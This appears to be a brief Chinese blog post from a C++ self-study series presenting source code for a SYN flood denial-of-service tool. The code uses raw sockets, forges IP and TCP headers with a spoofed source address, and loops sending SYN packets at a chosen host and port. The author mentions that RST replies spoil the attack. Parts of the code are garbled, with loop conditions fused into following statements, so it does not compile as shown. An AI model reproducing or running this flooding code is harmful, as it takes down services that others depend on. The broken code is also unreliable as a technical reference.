syn包发送(拒绝攻击,但是有问题)

实现上的问题:rst报文无法阻断

#include "stdio.h"
#include "sys/socket.h"
#include "sys/time.h"
#include "sys/types.h"
#include "string.h"
#include "unistd.h"
#include "netdb.h"
#include "time.h"
#include "netinet/in.h"
#include "arpa/inet.h"
#include "stdlib.h"
struct IPHEAD{
    unsigned char ver_hlen;
    unsigned char tos;
    unsigned short dlen;
    unsigned short brand;
    unsigned short f_index;
    unsigned char ttl;
    unsigned char proto;
    unsigned short checksum;
    unsigned int src;
    unsigned int des;
};//no item
int f=1;
struct TCPHEAD{
    unsigned short srcport;
    unsigned short desport;
    unsigned int seq;
    unsigned int ack;
    unsigned char hlen;//4 bit unused
    unsigned char f;//from the last,second is syn
    unsigned short recvwnd;
    unsigned short checksum;
    unsigned short ep;
    //p_head
    unsigned int src;
    unsigned int des;
    unsigned char zero;
    unsigned char proto;
    unsigned short len;
};//no data
struct syn{
    hostent *ht;
    sockaddr_in addr;
    int sock_raw;
#define SENDBUF_SIZE 1024*100
    char sendbuf[SENDBUF_SIZE];
    int times;
    //function
    syn(int,char*,int);
    int syn_start();
    int syn_packet();
    int srcaddr();
    int syn_exit();
    unsigned short checksum(unsigned short*,int);
};
int syn::syn_exit(){
    close(sock_raw);
    return 0;
}
syn::syn(int time,char*hostname,int port){
    times=time;
    if((sock_raw=socket(PF_INET,SOCK_RAW,IPPROTO_TCP))<0){
        printf("socket error!\n");
        exit(0);
    }
    if((setsockopt(sock_raw,IPPROTO_IP,IP_HDRINCL,(const char*)&f,sizeof(int)))<0){
        printf("setsockopt error!\n");
        close(sock_raw);
        exit(0);
    }
    if((ht=gethostbyname(hostname))==NULL){
        printf("dns error!\n");
        close(sock_raw);
        exit(0);
    }
    memset(&addr,0,sizeof(sockaddr));
    addr.sin_family=AF_INET;
    addr.sin_port=htons(port);
    memcpy(&addr.sin_addr,ht->h_addr_list[0],sizeof(addr.sin_addr));
}
unsigned short syn::checksum(unsigned short*s,int size){
    int i,sum=0;
    for(i=0;iwhile(sum&0xffff0000){
        sum=(sum>>16)+(sum&0x0000ffff);
    }
    return ~sum;
}
int syn::syn_packet(){
    IPHEAD ip;
    TCPHEAD tcp;
    //
    ip.ver_hlen=0x45;
    ip.tos=0x00;
    ip.dlen=htons(40);
    ip.brand=htons(rand()%0xffff);
    ip.f_index=htons(0x4000);
    ip.ttl=64;
    ip.checksum=0;
    ip.proto=6;
    char src[16];
    memset(src,0,sizeof(src));
    //sprintf(src,"%d.%d.%d.%d",192,10,rand()%255,1+rand()%40);
    sprintf(src,"10.180.49.217");
    in_addr_t inaddrt=inet_addr(src);
    memcpy(&ip.src,&inaddrt,sizeof(int));
    memcpy(&ip.des,&addr.sin_addr,sizeof(int));
    ip.checksum=checksum((unsigned short*)&ip,sizeof(IPHEAD)/2);
    //
    tcp.srcport=htons(rand()%64536+1000);
    //tcp.srcport=htons(65535);
    tcp.desport=(unsigned short)addr.sin_port;
    tcp.seq=htonl(rand()%(1<<30));
    tcp.ack=0;
    tcp.hlen=0x50;
    tcp.f=0x02;
    tcp.recvwnd=htons(2900);
    tcp.checksum=0;
    tcp.ep=0;//
    tcp.des=ip.des;
    tcp.src=ip.src;
    tcp.zero=0;
    tcp.proto=6;
    tcp.len=htons(20);
    tcp.checksum=checksum((unsigned short*)&tcp,sizeof(TCPHEAD)/2);
    //
    memset(sendbuf,0,sizeof(sendbuf));
    memcpy(sendbuf,&ip,sizeof(ip));
    memcpy(sendbuf+sizeof(ip),&tcp,20);
    return 0;
}
int syn::syn_start(){
    srand(time(NULL));
    int i=0,f=0;
    if(times<0)f=1;
    while(iif((sendto(sock_raw,sendbuf,40,0,(sockaddr*)&addr,sizeof(sockaddr)))<0){
            printf("send error!");
        }
//        sleep(1);
        printf("*");
        i++;
    }
    return 0;
}

知识点补充:tcp存在伪首部,需要注意

你可能感兴趣的:(C++自学)